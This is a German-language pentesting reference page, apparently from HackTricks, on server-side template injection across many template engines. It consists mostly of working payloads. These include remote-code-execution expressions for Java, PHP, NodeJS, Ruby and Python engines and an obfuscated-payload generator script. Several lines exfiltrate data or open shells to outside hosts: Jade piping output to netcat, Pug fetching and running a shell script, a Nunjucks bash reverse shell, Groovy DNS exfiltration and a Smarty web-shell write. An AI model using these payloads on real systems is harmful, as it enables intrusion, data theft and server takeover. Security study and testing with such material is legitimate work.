hacktricks/pentesting-web/ssti-server-side-template-injection
2024-03-16 10:05:41 +00:00
..
el-expression-language.md Translated to German 2024-02-10 15:36:32 +00:00
jinja2-ssti.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:45:59 +00:00
README.md Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md 2024-03-16 10:05:41 +00:00

SSTI (Serverseitige Template-Injektion)

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Was ist SSTI (Serverseitige Template-Injektion)

Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.

Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Code-Schnipsel unter Verwendung von Jinja demonstriert:

output = template.render(name=request.args.get('name'))

Im anfälligen Code wird der name-Parameter aus der Benutzeranfrage direkt in die Vorlage mit der render-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den name-Parameter einzufügen, was zu einer serverseitigen Vorlageninjektion führen kann.

Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die Nutzlast {{bad-stuff-here}} wird in den name-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.

Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Vorlagen eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu mindern.

Erkennung

Um Server-seitige Template-Injection (SSTI) zu erkennen, ist das Fuzzing des Templates zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (${{<%[%'"}}%\) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:

  • Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
  • Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
  • Klartext-Kontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).
  • Code-Kontext: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise greeting in http://vulnerable-website.com/?greeting=data.username, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie bei greeting=data.username}}hello, das den Benutzernamen zurückgibt.

Identifikationsphase

Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.

Tools

TInjA

ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots verwendet

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

Tplmap ist ein Tool zum Erkennen und Ausnutzen von Server-seitigen Template-Injections (SSTI). Es unterstützt verschiedene Template-Engines und kann verwendet werden, um SSTI-Schwachstellen in Webanwendungen zu identifizieren.

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Vorlageinjektionstabelle

eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.

Exploits

Generisch

In dieser Wortliste finden Sie Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind:

Java

Java - Grundlegende Injektion

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Abrufen der Umgebungsvariablen des Systems

${T(java.lang.System).getenv()}

Java - Abrufen von /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Sie können Ihre Payloads unter https://try.freemarker.apache.org ausprobieren

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox-Bypass

⚠️ Funktioniert nur bei Freemarker-Versionen unter 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Weitere Informationen

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Weitere Informationen

Thymeleaf

In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf erfordert, dass diese Ausdrücke in spezifischen Attributen platziert werden. Allerdings wird Expression Inlining für andere Vorlagenpositionen unterstützt, indem Syntax wie [[...]] oder [(...)] verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie [[${7*7}]] aussehen.

Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.

Thymeleaf bietet auch Expression Preprocessing, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (__...__) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:

#{selection.__${sel.code}__}

Beispiel für eine Schwachstelle in Thymeleaf

Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Weitere Informationen

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Umgehung von Filtern

Mehrere Variablenausdrücke können verwendet werden. Wenn ${...} nicht funktioniert, versuchen Sie es mit #{...}, *{...}, @{...} oder ~{...}.

  • Lesen Sie /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Benutzerdefiniertes Skript zur Payload-Generierung
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Weitere Informationen

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Alte Version von Pebble ( < Version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Neue Version von Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}



{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava ist eine leistungsstarke Template-Engine für Java, die Server-seitige Template-Injection (SSTI) ermöglicht. Jinjava wird häufig in Webanwendungen verwendet, die das Java-Backend verwenden. Es ist wichtig, SSTI-Schwachstellen in Jinjava zu identifizieren und zu beheben, um potenzielle Angriffe zu verhindern.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter https://github.com/HubSpot/jinjava/ verfügbar ist.

Jinjava - Befehlsausführung

Behoben durch https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Weitere Informationen

Hubspot - HuBL (Java)

  • {% %} Anweisungstrenner
  • {{ }} Ausdruckstrenner
  • {# #} Kommentartrenner
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das Jinjava-Projekt auf Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Weitere Informationen

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:

  • JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
  • JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was die Verbindung von Seitenelementen mit den Anwendungsdaten erleichtert.
  • Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und eine kohärentere Anwendungsstruktur sicherzustellen.

Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Die folgenden Security Manager-Bypasses stammen aus diesem Bericht.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Weitere Informationen

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Vorlagenformat

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Weitere Informationen

Plates (PHP)

Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Seitenvorlage:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layoutsvorlage:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Weitere Informationen

PHPlib und HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber für Pear portiert.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Beschreibung

In diesem Szenario wird eine Server-seitige Template-Injection (SSTI) Schwachstelle demonstriert, die es einem Angreifer ermöglicht, Code in einem Server-seitigen Template einzuschleusen und auszuführen.

Angriffsschritte

  1. Navigieren Sie zur authors.php Seite.
  2. Identifizieren Sie die SSTI-Schwachstelle.
  3. Führen Sie den Angriff durch, indem Sie bösartigen Code in das Template einschleusen.
  4. Überprüfen Sie, ob der Code erfolgreich ausgeführt wurde.

Auswirkungen

Durch eine erfolgreiche SSTI-Attacke kann ein Angreifer sensible Informationen auslesen, das System kompromittieren oder weitere Angriffe durchführen. Es ist wichtig, SSTI-Schwachstellen zu identifizieren und zu beheben, um die Sicherheit der Anwendung zu gewährleisten.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Weitere Informationen

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Weitere Informationen

patTemplate (PHP)

patTemplate ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Weitere Informationen

Handlebars (NodeJS)

Pfadtraversierung (mehr Informationen hier).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fehler
  • ${7*7} = ${7*7}
  • Nichts
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Weitere Informationen

JsRender (NodeJS)

Vorlage Beschreibung
Auswerten und Ausgabe rendern
Auswerten und HTML-codierte Ausgabe rendern
Kommentar
und Erlauben von Code (standardmäßig deaktiviert)
  • = 49

Clientseite

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serverseite

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Weitere Informationen

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Beispiel für serverseitiges Rendern

var pugjs = require('pug');
home = pugjs.render(injected_page)

Weitere Informationen

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Keine Ausgabe
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fehler
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Weitere Informationen

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Fehler
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Weitere Informationen

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Weitere Informationen

Python

Schauen Sie sich die folgende Seite an, um Tricks zum beliebigen Befehlsausführung umgehen von Sandboxes in Python zu lernen:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Weitere Informationen

Jinja2 (Python)

Offizielle Website

Jinja2 ist eine voll ausgestattete Vorlagen-Engine für Python. Sie bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.

  • {{7*7}} = Fehler
  • ${7*7} = ${7*7}
  • {{foobar}} Nichts
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}




{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Vorlagenformat

{% raw %}
